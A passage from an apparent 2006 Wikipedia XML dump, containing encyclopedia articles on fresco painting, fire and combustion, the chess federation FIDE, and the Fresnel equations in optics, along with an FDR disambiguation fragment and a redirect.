* '''[[fluctuation-dissipation ratio]]'''
* '''[[False discovery rate]]''' - A statistical method for dealing with the [[multiple comparisons]] problem
* '''[[Flight data recorder]]''' - device used to record aircraft and pilot behavior in order to analyze accidents (usually called &quot;[[black box]]es&quot; by the news media).
* '''FDR resp. FDR2''' - A software to check formal models expressed in [[Communicating_sequential_processes]], developed by Formal Systems (Europe) Ltd..
* '''[[FDR Drive]]''' (full name: Franklin D. Roosevelt Drive) - a highway named for the U.S. president that runs along the [[East River]] in [[Manhattan]], [[New York City]].
* '''[[People's Democratic Front (Indonesia)|Front Democrasi Rakjat]]'''
* '''[[Fuerza de Despliegue Rápido (Argentina)|Rapid Deployment Force]]''' (''Fuerza de Despliege Rápido'') of the [[Military of Argentina|Argentine Armed Forces]].

{{TLAdisambig}}

[[nl:FDR]]</text>
    </revision>
  </page>
  <page>
    <title>Fresco</title>
    <id>11144</id>
    <revision>
      <id>41957948</id>
      <timestamp>2006-03-02T21:55:41Z</timestamp>
      <contributor>
        <username>Sparkit</username>
        <id>194762</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{otheruses}}
{{globalize}}
[[Image:Ferapontov.jpg|300px|thumb|Fresco by [[Dionisius]] representing [[Saint Nicholas]].]]
[[Image:Indischer Maler des 6. Jahrhunderts 001.jpg|thumb|300px|right|Fresco from [[Ajanta]], c 200 BCE - 600 CE]]
A '''fresco''' (plural '''''frescoes''''') is a term for several related [[painting]] types. The word comes from the [[Italian language|Italian]] phrase ''buon fresco'' (&quot;really fresh&quot;) a technical term in opposition to ''[[fresco-secco|in secco]]'' (&quot;on dry surface&quot;). 

True fresco (''buon fresco'') technique consists of painting in [[pigment]] in a [[water]] [[medium]] on wet or fresh [[Mortar (masonry)#Lime mortar|lime mortar]] or [[plaster]]. ''In secco'' painting is done on dry plaster and with the pigments in a binding medium, like [[egg (food)|egg]]. The difference between the two techniques is that as it dries the wet plaster absorbs the pigment and the painting becomes part of the wall surface rather than resting on top of it.  This makes a durable work of art;  if the wall is destroyed the painting can often be reassembled because of the size of the plaster parts.

Because of the need to work on freshly-laid plaster, careful study of the wall surface can reveal the area worked on in one day. In [[Italian Renaissance|Renaissance Italy]] this was commonly called a ''giornata'' (&quot;daily amount&quot;). These divisions are perceptible with some [[magnification]] and even the naked eye if the plastering technique was not good.

Painters in fresco often add details later ''in secco''. These details are not part of the wall and so they are much less durable. [[Egypt]]ian wall paintings in [[tomb]]s are usually ''in secco'', while the [[Roman Empire|Roman]] wall paintings at [[Pompeii]] and [[Herculaneum]] are in fresco.

[[Andrea Palladio]], the famous Italian [[architect]] of the [[16th century]], built many [[mansion]]s with plain exteriors and stunning interiors filled with frescoes.

==Selected examples of Italian frescoes==

'''Italian Late Medieval-Quattrocento'''
* Panels (including Giotto, Lorenzetti, Martini and others) in upper and lower [[Basilica of San Francesco d'Assisi]]
* [[Giotto di Bondone|Giotto]], [[Cappella degli Scrovegni]] (Arena Chapel), [[Padua]]
* Camposanto, Pisa
* [[Tommaso Masaccio|Masaccio]], [[Brancacci Chapel]], Santa Maria del Carmine di Firenze, Florence
* [[Ambrogio Lorenzetti]], Palazzo Publico, [[Siena]]
* [[Piero della Francesca]], Chiesa de San Francesco, [[Arezzo]]
* [[Domenico Ghirlandaio|Ghirlandaio]], Capella Tornabuoni, Santa Maria Novella, Florence
* ''[[The Last Supper (Leonardo)|The Last Supper]]'', [[Leonardo Da Vinci]], Milan
* [[Sistine Chapel]] Wall series: [[Sandro Botticelli|Botticelli]], [[Pietro Perugino|Perugino]], Rosellini, [[Luca Signorelli|Signorelli]], and [[Domenico Ghirlandaio|Ghirlandaio]] 
* Luca Signorelli, Chapel of San Brizio, Duomo, Orvieto

'''Italian High Renaissance'''
* [[Michelangelo]]'s Sistine Chapel ceiling
* [[Raphael]]'s Vatican Stanza
* [[Raphael]]'s [[Villa Farnesina]]
* [[Giulio Romano]]'s [[Palazzo del Te]], Mantua
* [[Andrea Mantegna|Mantegna]], [[Camera degli Sposi]], Palazzo Ducale, [[Mantua]]
* The dome of Cathedral [[Santa Maria del Fiore]] in Florence
* Michelangelo, Sistine Chapel altar wall

'''Italian Baroque'''
* [[The Loves of the Gods (Carracci)|The Loves of the Gods]], [[Annibale Carracci]], [[Palazzo Farenese]]
* [[Allegory of Divine Providence and Barberini Power (Cortona)|Allegory of Divine Providence and Barberini Power]], [[Pietro Da Cortona]], Palazzo Barberini
* Ceilings, [[Giovanni Battista Tiepolo]], (New Residenz) Wurzburg, (Royal Palace) Madrid, (Villa Pisani) Stra, and others; Wall scenes (Villa Valmarana and Palazzo Labia)
* Nave ceiling, [[Andrea Pozzo]], San Ignazio, Rome

==See also==
*[[Mural]]
*[[Gambier Parry process]]

==External links==
{{commonscat|Fresco}}
* [http://www.muralist.org/fresco/ The Art and Nature of Fresco by Lucia Wiley]
* [http://www.smith.edu/hsc/museum/ancient_inventions/hsc16b.htm Museum of Ancient Inventions: Roman-Style Fresco, Italy, 50 CE]
* [http://www.storytellersmediagroup.com/High%20Fresco/High%20Fresco.htm High Fresco - The Art of Ben Long]
* [http://www.truefresco.com/ Contemporary Fresco Painting Resource Center]
* [http://www.fresco-techniques.com/ Fresco Techniques]
* [http://www.frescoschool.org/ Fresco School]

[[Category:Fresco painting|*Fresco]]
[[Category:Painting materials]]

[[cs:Freska]]
[[de:Fresko]]
[[fr:Fresque]]
[[ko:프레스코]]
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[[he:פרסקו]]
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[[hu:Freskó]]
[[nl:Fresco]]
[[ja:フレスコ]]
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[[ru:Фреска]]
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[[uk:Фреска]]</text>
    </revision>
  </page>
  <page>
    <title>Fire</title>
    <id>11145</id>
    <revision>
      <id>42034796</id>
      <timestamp>2006-03-03T10:03:52Z</timestamp>
      <contributor>
        <ip>82.198.250.10</ip>
      </contributor>
      <comment>Image cleanup. Way too many and some unclear images in this article.</comment>
      <text xml:space="preserve">{{mergedisputed|flame}}
{{mergefrom|Firetending}}
{{otheruses|fire (disambiguation)}}
&lt;!-- [[Image:Fire02.jpg|thumb|225px|Fire]] --&gt;
&lt;!-- [[Image:Big flame.JPG|thumb|225px|Coleman Lantern Fuel burning between two [[bricks]]]] --&gt;
[[Image:Large bonfire.jpg|thumb|225px|A large [[bonfire]].]]
'''Fire''', a form of [[combustion]] is a [[chemical reaction]] involving two or more chemicals where the molecules will readily react with each other to form additional chemicals. Linguistically, the word ''fire'' refers to the combination of the brilliant glow and large amount of [[heat]] released during a rapid, self-sustaining burning of combustible [[fuel]]. Fire is not a state of matter: rather, it is an [[exothermic]] [[oxidation]] process by which heat and light energy are given out. Fire starts when a fuel with adequate supply of [[oxygen]] or other [[oxidizer]] is subjected to enough heat, and it is sustained by the further release of heat [[energy]] in the process, as well as a continuous supply of oxygen and combustible fuel. A [[match]] or [[lighter]] is usually used to start a fire, which can then propagate to other combustibles) because matches and lighters are designed with materials of low burning point. Fire is extinguished when one or more elements of heat, oxidizer, or fuel is removed; this concept is used in the [[fire triangle]]. The unburnable solid remains of a fire are termed ash. 

[[Flame]]s can conduct [[electricity]], as a small portion of any fire is [[ion|ionized]]. This has been demonstrated in the laboratory and also in large [[wildfire]]s that occur in the vicinity of [[power line]]s.

==Controlling fire==
[[Image:Log in fireplace.jpg|thumb|left|225px|A log burning in a [[fireplace]].]]
Controlling fire for the purposes of providing heat and light was one of [[human]]kind's first great achievements. The ability of fire to generate heat and light made possible migration to colder climates and enabled people to [[cooking|cook]] food — a decisive step in the perennial fight against [[disease]]. [[Smoke signals]] were an early use of fire for communication, and fire soon enabled advancements in [[metallurgy]] such as [[smelting]] and [[forging]]. [[Archaeology]] indicates that ancestors of modern humans such as ''[[Homo erectus]]'' seem to have been using controlled fire as early as some 790,000 years ago. The [[Cradle of Humankind]] site has evidence for controlled fire 1 million years ago. 

By the time of the [[Neolithic Revolution]], during the introduction of grain based agriculture, people the world over used fire as a tool in landscape management.  These fires were typically [[controlled burn]]s or &quot;cool fires&quot;, as opposed to uncontrolled &quot;hot fires&quot; that damage the soil. Such hot fires destroy plants and animals, and endanger communities. This is especially problem in the forests of today where traditional burning is prevented in order to encourage the growth of timber crops. Cool fires are generally conducted in the spring and fall. They clear undergrowth, burning up [[biomass]] that could trigger a hot fire should it get too dense. They provide a greater variety of environments, which encourages game and plant diversity. For humans, they make dense, impassable forests traversable.
[[Image:Gas burner on stove.JPG|thumb|right|225px|A lit gas burner on a stove.]]
The modern applications of fire are numerous. In its broadest sense, fire is used by nearly every human being on earth in a controlled setting every day. Owners of [[internal combustion]] vehicles use fire every time they drive. Thermal [[Power station|power stations]] provide [[electricity]] for  a large percentage of humanity. However, fire is also used more directly; many nomadic peoples still use fire for cooking. It is also used for [[Tobacco smoking|smoking]], and as a [[weapon]].

In fact, the use of fire for [[warfare]] has a long [[military history|history]] up to the present day. [[Homer]] detailed its use by Greek [[commando|commandoes]] who hid in a [[Trojan Horse|wooden horse]] to burn [[Troy]] during the [[Trojan war]]. Later the [[Byzantine Empire|Byzantine]] fleet used [[Greek fire]] to attack ships and men. In the [[Vietnam War]], the Americans dropped a modern version, [[napalm]], from the air. More recently many villages were burned during the [[Rwandan Genocide]]. [[Aerial bombing of cities]], including [[firebombing]], using [[incendiary bomb]]s was also frequently used during [[World War II]]. [[Molotov cocktail]]s are cheap to construct and are in common use as well.

==Fire and religion==
[[Image:Rubens - Vulcano forjando los rayos de Júpiter.jpg|thumb|right|160px|Vulcan of ancient mythology, using fire for his forge]]
Fires and burning have often been used in [[religion|religious]] rites and symbolism. One reason may be that the [[smoke]] of the fire disperses upwards, into what may be considered into the [[heaven]]s, considered by many religions to be the home of their supernatural deities.

Fire is one of the four [[classical element]]s, as well as one of the [[Five elements (Chinese philosophy)|five Chinese elements]]. In [[Hinduism]] fire is one of five sacred elements of which all living creatures are comprised and is considered an eternal witness essential to sacred religious ceremonies.

Fire is a symbol of [[Ahura Mazda]], or God, of the [[Zoroastrian]] religion. A Zoroastrian church is known as a [[Agiary|Fire Temple]]. Fire is also an important part of [[Calcination]], the fire operation in the art of [[alchemy]].

In Roman mythology, [[Vulcan]] is the god of fire.  The analogue in Greek mythology is [[Hephaestus]]. In Greek mythology, [[Prometheus]] is the [[Titan (mythology)|Titan]] chiefly honored for stealing fire from the gods in the stalk of a fennel plant and giving it to mortals for their use.

In [[Judaism]] fire also has great significance, candles are lit to usher in holidays and to separate [[Shabbat]] from the rest of the week, as well as to remember the dead; another important fire symbol is the Eternal Flame, which was a fire kept in the [[Temple in Jerusalem|First]] and [[Second Temple]] was never supposed to go out.

In [[Christianity]], fire is a [[symbol]] of the [[Holy Ghost]] and is often used in descriptions of [[Hell]].

==Fire as a power source==
[[Image:ChineseCoalPower.jpg|thumb|left|200px|A [[coal power plant]] in the [[People's Republic of China]].]]
Fire has supplied much of the energy which has helped humans since ancient times. [[Wood]] was a [[prehistory|prehistoric]] fuel. The use of [[fossil fuel]]s such as [[petroleum]], [[natural gas]] and [[coal]] in [[fossil fuel power plant|power plant]]s supplies the vast majority of the world's electricity today. The [[International Energy Agency]] states it is nearly 80%&lt;ref&gt;[http://www.iea.org/statlist/index.htm &quot;Share of Total Primary Energy Supply&quot;, 2002; International Energy Agency]&lt;/ref&gt;. Mexico is typical with thermal energy providing 76% of all energy &lt;ref&gt;[http://www.geni.org/globalenergy/library/national_energy_grid/mexico/index.shtml  &quot;Mexico Grid Summary&quot;, 2000; Global Energy Network Institute]; thermal energy defined as oil, gas and coal&lt;/ref&gt;.

The burning of wood is often the first association to the word &quot;fire&quot;. It is common in a [[developing countries|developing country]] for wood to be the primary energy source as well. For instance, in [[Africa]], 65% of the energy used comes from the burning of [[biomass]]&lt;ref&gt;[http://www.eia.doe.gov/emeu/cabs/archives/africa/chapter3.html &quot;Energy in Africa - Chapter 3&quot;], United States [[Department of Energy]] information administration&lt;/ref&gt;. What is less obvious is that wood burning power stations are less environmentally destructive than the fired oil power station in two major respects. [[E.ON|E.ON UK]] is soon to build a 44 megawatt wood fired power station in the [[United Kingdom]] for these reasons, as reported in the [[The Guardian|Guardian]] newspaper in October 2005&lt;ref&gt;[http://www.guardian.co.uk/science/story/0,3605,1592854,00.html &quot;How Can Burning Wood Help Reduce Global Warming&quot;], [[The Guardian]] &lt;/ref&gt;: first, wood is a renewable resource, especially if trees are grown in a modern, sustainable way. Second, the [[carbon dioxide]] emissions are negligible because no more carbon dioxide can be produced by burning than would be produced by the natural rotting of wood. Thus, over a 100-year timescale, the effect is carbon-neutral&lt;ref&gt;[http://www.straightdope.com/columns/021122.html The Straight Dope: What exactly is fire?]. Adams, C. (2002). Retrieved [[December 19]], [[2004]].&lt;/ref&gt;. It is also claimed that this power station will be more efficient than coal: [[Accelerant|accelerants]] can be used to spread fire faster or have it burn hotter.

The fire in a [[power station]] is used to heat water, creating steam that drives [[Turbine|turbines]]. The turbines are linked to an [[electrical generator]].

==Uncontrolled fire==
{{splitsection}}
[[Image:Forestfire2.jpg|thumb|right|300px|A forest fire.]]
The self-sustaining nature of fire makes it extremely dangerous if uncontrolled. Fire can consume structures and forests and can severely injure or kill living things through [[burn]]s or [[smoke inhalation]]. Structure fires can be started by [[cooking]] accidents, [[electricity|electrical]] faults, [[fuel]] leaks, the misuse of lighters and/or matches, and accidents involving [[candle]]s and [[cigarette]]s. Fire can propagate rapidly to other structures, especially where proper [[building standards]] are not met. Purposely starting destructive fires constitutes [[arson]] and is a criminal offense in most jurisdictions. The destructive capacity of fire has led most [[municipality|municipalities]] to offer [[fire fighting]] services to quickly extinguish fires. Trained [[firefighter|firefighters]] use [[fire truck|fire trucks]], [[fire hydrant|fire hydrants]], and an array of other equipment to combat the spread of fires. Municipal buildings such as [[school|schools]] and government buildings often conduct [[fire drill|fire drills]] to inform and prepare citizens on how to react to a building fire. Outside of urban settings, [[wildfire]]s can consume large areas of [[forest]] and brush and often damage nearby settlements.

There are many different classification systems used for uncontrolled fires; in [[Europe]] and [[Australasia]] six groups are used:
[[Image:Dangclass2_1.png|thumb|left|100px|Flammable gas warning.]]

* Class A: Fires that involve flammable [[solid]]s such as [[wood]], [[cloth]], [[rubber]], [[paper]], and some types of [[plastic]]s.
* Class B: Fires that involve flammable [[liquid]]s or liquifiable solids such as [[gasoline|petrol/gasoline]], [[petroleum|oil]], [[paint]], some [[wax]]es &amp; plastics, but '''not''' cooking fats or oils.
* Class C: Fires that involve flammable [[gas]]es, such as [[natural gas]], [[hydrogen]], [[propane]], [[butane]].
* Class D: Fires that involve [[combustion|combustible]] [[metal]]s, such as [[sodium]], [[magnesium]], and [[potassium]].
* Shock Risk (formerly known as Class E): Fires that involve any of the materials found in Class A and B fires, but with the introduction of an electrical appliances, wiring, or other electrically energized objects in the vicinity of the fire, with a resultant electrical shock risk if a [[electrical conduction|conductive]] agent is used to control the fire.
* Class F: Fires involving cooking fats and oils. The high temperature of the oils when on fire far exceeds that of other flammable liquids making normal extinguishing agents ineffective.

[[Image:Wohnhausbrand.JPG|thumb|230px|right|A [[house]] on fire.]]
In the [[United States|U.S.]], fires are generally classified into four groups: A, B, C, and D.
* Class A: Fires that involve wood, cloth, rubber, paper, and some types of plastics.
* Class B: Fires that involve gasoline, oil, paint, natural and propane gases, and flammable liquids, gases, and greases.
* Class C: Fires that involve any of the materials found in Class A and B fires, but with the introduction of an electrical appliances, wiring, or other electrically energized objects in the vicinity of the fire.
* Class D: Fires that involve combustible metals, such as sodium, magnesium, and potassium.

A fifth group, Class K, is sometimes added. It refers to fires involving large amounts of grease or oil. Although, by definition, Class K is a subclass of Class B, the special characteristics of these types of fires are considered important enough to recognize.

==Science of fire==
[[Image:Blacksmiths fire.jpg|thumb|250px|A [[blacksmith]]'s fire, used primarily for [[forging]] [[iron]].]]

A flame is an exothermic, self-sustaining, oxidizing chemical reaction producing energy and glowing gas, of which a very small portion is [[Plasma (physics)|plasma]]. It consists of reacting gases emitting visible and [[infrared]] light, the [[frequency spectrum]] of which is dependent on the chemical composition of the burning elements and intermediate reaction products. 

In many cases such as burning [[organic matter]] like wood or incomplete [[combustion]] of gas, incandescent solid particles, [[soot]] produces the familiar red-orange 'fire' color light. This light has a continuous spectrum. Complete combustion of gas has a dim blue color due to the emission of single wavelength radiations from various electron transitions in the excited molecules formed in the flame. Usually oxygen is involved, but [[hydrogen]] burning in [[chlorine]] produces a flame as well, producing toxic [[hydrogen chloride]] (HCl). Other possible combinations producing flames, amongst many more, are [[fluorine]] and [[hydrogen]], or [[hydrazine]] and [[nitrogen tetroxide]]. Recent discoveries by the [[National Aeronautics and Space Administration]] (NASA) of the [[United States]] also has found that [[gravity]] plays a role. Modifying the gravity causes different flame types. &lt;ref&gt; [http://science.nasa.gov/headlines/y2000/ast12may_1.htm Spiral flames in microgravity], [[National Aeronautics and Space Administration]], 2000.&lt;/ref&gt;

The glow of a flame is somewhat complex. [[Black-body radiation]] is emitted from soot, gas, and fuel particles, though the soot particles are too small to behave like perfect blackbodies. There is also [[photon]] emission by de-excited [[atom]]s and [[molecule]]s in the gases. Much of the radiation is emitted in the visible and [[infrared]] bands. The color depends on temperature for the black-body radiation, and chemical makeup for the [[emission spectra]]. The dominant color in a flame changes with temperature. The photo of the forest fire is an excellent example of this variation. Near the ground, where most burning is occurring, it is white, the hottest color possible for organic material in general, or yellow. Above the yellow region, the color changes to orange, which is somewhat cooler, then red, which is cooler still. Above the red region, combustion no longer occurs, and the uncombusted carbon particles are visible as black smoke.

The common distribution of a flame under normal gravity conditions depends on [[convection]], as soot tends to rise to the top of a general flame, such as in a candle in normal gravity conditions, making it yellow. In [[microgravity]] or [[zero gravity]], such as an environment in [[outer space]], convection no longer occurs, and the flame becomes spherical, with a tendency to become more blue and more efficient. There are several possible explanations for this difference, of which the most likely one given is that the cause is the hypothesis that the temperature is evenly distributed enough that soot is not formed and complete combustion occurs. &lt;ref&gt; [http://microgravity.grc.nasa.gov/combustion/cfm/usml-1_results.htm CFM-1 experiment results], National Aeronautics and Space Administration, April 2005.&lt;/ref&gt; Experiments by NASA in microgravity reveal that [[diffusion flame]]s in microgravity allow more soot to be completely oxidised after they are produced than diffusion flames on Earth, because of a series of mechanisms that behaved differently in microgravity when compared to normal gravity conditions. &lt;ref&gt;[http://microgravity.grc.nasa.gov/combustion/lsp/lsp1_results.htm LSP-1 experiment results], National Aeronautics and Space Administration, April 2005.&lt;/ref&gt; [[Premixed flame]]s in microgravity burn at a much slower rate and more efficiently than even a candle on Earth, and last much longer. &lt;ref&gt;[http://microgravity.grc.nasa.gov/combustion/lsp/lsp1_results.htm SOFBAL-2 experiment results], National Aeronautics and Space Administration, April 2005.&lt;/ref&gt; These discoveries have potential applications in [[applied science]] and [[industry]], especially concerning [[fuel efficiency]].  

[[Fire ecology]] is the study of the interaction of living things with fire.

==See also==
{{portal}}
[[Image:Lightmatter carbq.jpg|thumb|250px|A [[automobile|car]] on fire. Cars are sometimes set alight and abandoned in order for their owners to avoid paying for their removal.]]
* [[Explosion]], a different kind of combustion
* [[Rust]]
* [[Pyromania]]
* [[:Category:Fire|A list of articles relating to fire]]
* [[:Category:Fires|A list of articles relating to specific fires]]
* [[:Category:Firefighting|A list of articles relating to firefighting]]

==References==
===Citations===
&lt;references/&gt;

===General references===
*Dave Reay, (2005). ''Climate Change Begins at Home''. Palgrave Macmillan. ISBN 1403945780

==External links==
{{commons|Fire}}
* [http://www.straightdope.com/columns/021122.html What exactly is fire?] (from [[The Straight Dope]])
* [http://news.bbc.co.uk/1/hi/sci/tech/3670017.stm Early human fire mastery revealed] [[BBC]] article on archeological discoveries
* [http://www.northmason.wednet.edu/NMHSonline/student_gallery/fire/pg19_candleflame.html Parts of a candle flame]
* [http://microgravity.grc.nasa.gov/combustion/cfm/cfm_index.htm Flames in microgravity]
* [http://science.nasa.gov/headlines/y2000/ast12may_1.htm Spiral flames in microgravity] 
* [http://www.moebuildingcontrol.co.uk moebuildingcontrol.co.uk - UK Guidance on fire safety codes and fire engineering]

{{ArtificialLightSources}}

[[Category:Fire|*]]

[[ar:نار (طبيعة)]]
[[bg:Огън]]
[[ca:Foc]]
[[cs:Oheň]]
[[cy:Tân]]
[[da:Ild]]
[[de:Feuer]]
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[[es:Fuego]]
[[et:Põlemine]]
[[fi:Palaminen]]
[[fr:Feu]]
[[he:אש]]
[[id:Api]]
[[io:Fairo]]
[[it:Fuoco (fisica)]]
[[ja:火]]
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[[zh:火]]</text>
    </revision>
  </page>
  <page>
    <title>Fédération Internationale des Échecs</title>
    <id>11146</id>
    <revision>
      <id>40534644</id>
      <timestamp>2006-02-21T06:45:01Z</timestamp>
      <contributor>
        <username>DHN-bot</username>
        <id>575307</id>
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      <minor />
      <comment>robot  Modifying: pt</comment>
      <text xml:space="preserve">The '''Fédération Internationale des Échecs''' or '''World Chess Federation''' is an international organization that connects the various national [[chess]] federations around the world. It is usually referred to as '''FIDE''' (pronounced &quot;fee day&quot;), its [[French language|French]] [[acronym]].  FIDE was founded in [[Paris]], [[France]] on [[July 24]], [[1924]]. Its motto is ''Gens una sumus'', meaning &quot;We are one people&quot;. Its current president (as of May 2004) is [[Kirsan Ilyumzhinov]], who also is president of [[Kalmykia]], a small republic within [[Russia]].

As well as organising the [[World Chess Championship]] and [[Chess Olympiad]], FIDE calculates [[Elo rating]]s of players, defines the [[rules of chess]], periodically publishes albums of the best [[chess problem]]s (the [[FIDE Album]]s), awards the titles of [[FIDE Master]], [[International Master]], [[International Grandmaster]], women's versions of those titles, a number of organisational titles including [[International Arbiter]], and Master and Grandmaster titles in problem and [[chess study|study]] composing and solving.

As well as the overall world championship, FIDE organises championships for women and juniors, regional championships, and the [[Chess Olympiad]]. It oversees few other tournaments, although other top-level events, almost without exception, respect FIDE rules and regulations.

==History==
In its early years, FIDE had little power. This was largely because the [[Soviet Union]] refused to join, as it saw chess and politics as being inextricably bound up, and FIDE was a non-political organisation. This changed, however, when incumbent world champion [[Alexander Alekhine]] died in 1946. FIDE stepped up to organise a tournament to find a replacement, and the Soviet Union, aware that this was a process it had to be involved with, joined.

From that initial 1948 tournament (won by [[Mikhail Botvinnik]]) to 1993, FIDE was the only body organising world chess championships. They were involved in controversies, however: in 1975, [[Bobby Fischer]] defaulted his title after FIDE refused to meet all his demands for his match with [[Anatoly Karpov]]. In 1984, FIDE president [[Florencio Campomanes]] called off the match between Karpov and [[Garry Kasparov]] without result. In 1993 reigning champion Kasparov and challenger [[Nigel Short]] (who had qualified through the FIDE system) broke away from FIDE to play their 1993 match under the auspices of the newly-formed [[Professional Chess Association]] (PCA). Since that time there have been two world championships - one held under FIDE's aegis, and the other under a variety of organisations'. Lately, FIDE's championships have consisted of a single knock-out tournament with games under quicker time controls, rather than the traditional series of long matches, a change which has also proved controversial.

The decision to hold the 2004 World Championship in [[Libya]] has proved controversial, as have aspects of FIDE's handling of the so-called Prague Agreement (a plan to reunite the two world championships, masterminded by [[Yasser Seirawan]]). FIDE has been criticised by the [[Association of Chess Professionals]] (ACP) as well as individual players.

Ilyumzhinov has himself proved a controversial figure, with question marks over the sources of the money he has donated to FIDE, and accusations against him that he has not paid promised prize money among other things.

In 1999, FIDE was recognised by the [[International Olympic Committee]] (IOC). Two years later, it introduced the IOC's anti-drugs rules to chess. FIDE has stated that it would like chess to become part of the [[Olympic Games]].

==FIDE Presidents==
* [[1924]] - [[1949]] [[Alexander Rueb]]
* 1949 - [[1970]] [[Folke Rogard]]
* 1970 - [[1978]] [[Max Euwe]]
* 1978 - [[1982]] [[Fridrik Olafsson]]
* 1982 - [[1995]] [[Florencio Campomanes]]
* 1995 - present ([[2005]]) [[Kirsan Ilyumzhinov]]


==See also==
* [[FIDE Federations]]
* [[International Correspondence Chess Federation]]
* [[United States Chess Federation]]

==External link==
*[http://www.fide.com/ The official FIDE website]

[[Category:Chess organizations]]

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[[vi:FIDE]]</text>
    </revision>
  </page>
  <page>
    <title>Fresnel equatations</title>
    <id>11148</id>
    <revision>
      <id>35418004</id>
      <timestamp>2006-01-16T17:06:15Z</timestamp>
      <contributor>
        <username>Mel Etitis</username>
        <id>159495</id>
      </contributor>
      <comment>rm {{del}}</comment>
      <text xml:space="preserve">#REDIRECT [[Fresnel equations]]</text>
    </revision>
  </page>
  <page>
    <title>Fresnel equations</title>
    <id>11149</id>
    <revision>
      <id>29038948</id>
      <timestamp>2005-11-23T06:36:28Z</timestamp>
      <contributor>
        <username>Srleffler</username>
        <id>252195</id>
      </contributor>
      <comment>Fresnel reflection; fix misleading comment about amplitudes.</comment>
      <text xml:space="preserve">The '''Fresnel equations''', deduced by [[Augustin-Jean Fresnel]], describe the behaviour of light when moving between media of differing [[refractive index|refractive indices]]. The reflection of light that the equations predict is known as '''Fresnel reflection'''.

When [[light]] moves from a medium of a given [[refractive index]] ''n''&lt;sub&gt;1&lt;/sub&gt; into a second medium with [[refractive index]] ''n''&lt;sub&gt;2&lt;/sub&gt;, both [[reflection (physics)|reflection]] and [[refraction]] of the light may occur.

[[Image:Fresnel.png|right|A light ray striking the interface between two media is split into two - a reflected part and a refracted part.]]

In the diagram on the right, an incident light ray '''PO''' strikes at point '''O''' the interface between two media of refractive indexes ''n''&lt;sub&gt;1&lt;/sub&gt; and ''n''&lt;sub&gt;2&lt;/sub&gt;. Part of the ray is [[Reflection (physics)|reflected]] as ray '''OQ''' and part [[refraction|refracted]] as ray '''OS'''. The angles that the incident, reflected and refracted rays make to the [[normal]] of the interface are given as &amp;theta;&lt;sub&gt;i&lt;/sub&gt;, &amp;theta;&lt;sub&gt;r&lt;/sub&gt; and &amp;theta;&lt;sub&gt;t&lt;/sub&gt;, respectively.
The relationship between these angles is given by the law of [[reflection (physics)|reflection]] and [[Snell's law]].  

The fraction of the [[intensity]] of incident light that is reflected from the interface is given by the ''[[reflection coefficient]]'' ''R'', and the fraction refracted by the ''[[transmission coefficient]]'' ''T''. The Fresnel equations may be used to calculate ''R'' and ''T'' in a given situation.

The calculations of ''R'' and ''T'' depend on [[polarisation]] of the incident ray. If the light is polarised with the [[electric field]] of the light perpendicular to the plane of the diagram above (''s''-polarised), the reflection coefficient is given by:

: &lt;math&gt;R_s = \left[ \frac{\sin (\theta_i - \theta_t)}{\sin (\theta_i + \theta_t)} \right]^2=\left[\frac{n_1\cos(\theta_i)-n_2\cos(\theta_t)}{n_1\cos(\theta_i)+n_2\cos(\theta_t)}\right]^2&lt;/math&gt;

where &amp;theta;&lt;sub&gt;t&lt;/sub&gt; can be derived from &amp;theta;&lt;sub&gt;i&lt;/sub&gt; by [[Snell's law]].

If the incident light is polarised in the plane of the diagram (''p''-polarised), the ''R'' is given by:

: &lt;math&gt;R_p = \left[ \frac{\tan (\theta_i - \theta_t)}{\tan (\theta_i + \theta_t)} \right]^2=\left[\frac{n_2\cos(\theta_i)-n_1\cos(\theta_t)}{n_2\cos(\theta_i)+n_1\cos(\theta_t)}\right]^2&lt;/math&gt;

The transmission coefficient in each case is given by ''T''&lt;sub&gt;s&lt;/sub&gt;&amp;nbsp;=&amp;nbsp;1&amp;nbsp;&amp;minus;&amp;nbsp;''R''&lt;sub&gt;s&lt;/sub&gt; and ''T''&lt;sub&gt;p&lt;/sub&gt;&amp;nbsp;=&amp;nbsp;1&amp;nbsp;&amp;minus;&amp;nbsp;''R''&lt;sub&gt;p&lt;/sub&gt;.

If the incident light is unpolarised (containing an equal mix of ''s''- and ''p''-polarisations), the reflection coefficient is ''R''&amp;nbsp;= &amp;nbsp;(''R''&lt;sub&gt;s&lt;/sub&gt;&amp;nbsp;+&amp;nbsp;''R''&lt;sub&gt;p&lt;/sub&gt;)/2.

The reflection and transmission coefficients correspond to the ratio of the [[intensity]] of the incident ray to that of the reflected and transmitted rays. Equations for coefficients corresponding to ratios of the [[electric field]] [[amplitude]]s of the waves can also be derived, and these are also called &quot;Fresnel equations&quot;.&lt;!--NB: The amplitude coefficients are not necessarily the square root of the intensity coefficients!--&gt;

At one particular angle for a given ''n''&lt;sub&gt;1&lt;/sub&gt; and ''n''&lt;sub&gt;2&lt;/sub&gt;, the value of ''R''&lt;sub&gt;p&lt;/sub&gt; goes to zero and an ''p''-polarised incident ray is purely refracted. This is known as [[Brewster's angle]], and is around 56° for a glass medium in air or vacuum.

When moving from a more dense medium into a less dense one (i.e. ''n''&lt;sub&gt;1&lt;/sub&gt;&amp;nbsp;&amp;gt;&amp;nbsp;''n''&lt;sub&gt;2&lt;/sub&gt;), above an incidence angle known as the ''[[critical angle]]'', all light is reflected and ''R''&lt;sub&gt;s&lt;/sub&gt;&amp;nbsp;=&amp;nbsp;''R''&lt;sub&gt;p&lt;/sub&gt;&amp;nbsp;=&amp;nbsp;1. This phenomenon is known as [[total internal reflection]]. The critical angle is approximately 41° for glass in air.

[[Image:fresnel2.png]]

When the light is at near-normal incidence to the interface (&amp;theta;&lt;sub&gt;i&lt;/sub&gt; &amp;asymp; &amp;theta;&lt;sub&gt;t&lt;/sub&gt; &amp;asymp; 0), the reflection and transmission coefficient are given by:

: &lt;math&gt;R = R_s = R_p = \left( \frac{n_1 - n_2}{n_1 + n_2} \right)^2&lt;/math&gt; 
: &lt;math&gt;T = T_s = T_p = 1-R = \frac{4 n_1 n_2}{\left(n_1 + n_2 \right)^2} &lt;/math&gt;

For common glass, the reflection coefficient is about 4%. Note that reflection by a window is from the front side as well as the back side, and that some of the light bounces back and forth a number of times between the two sides. The combined reflection coefficient for this case is 2''R''/(1&amp;nbsp;+&amp;nbsp;''R'').

Repeated reflection and refraction on thin, parallel layers is also known as [[Fabry-Perot interferometer|Fabry-Perot interference]], this effect is responsible for the colours seen in oil films on water, used in optics to make reflection free lenses and perfect mirrors, etc.

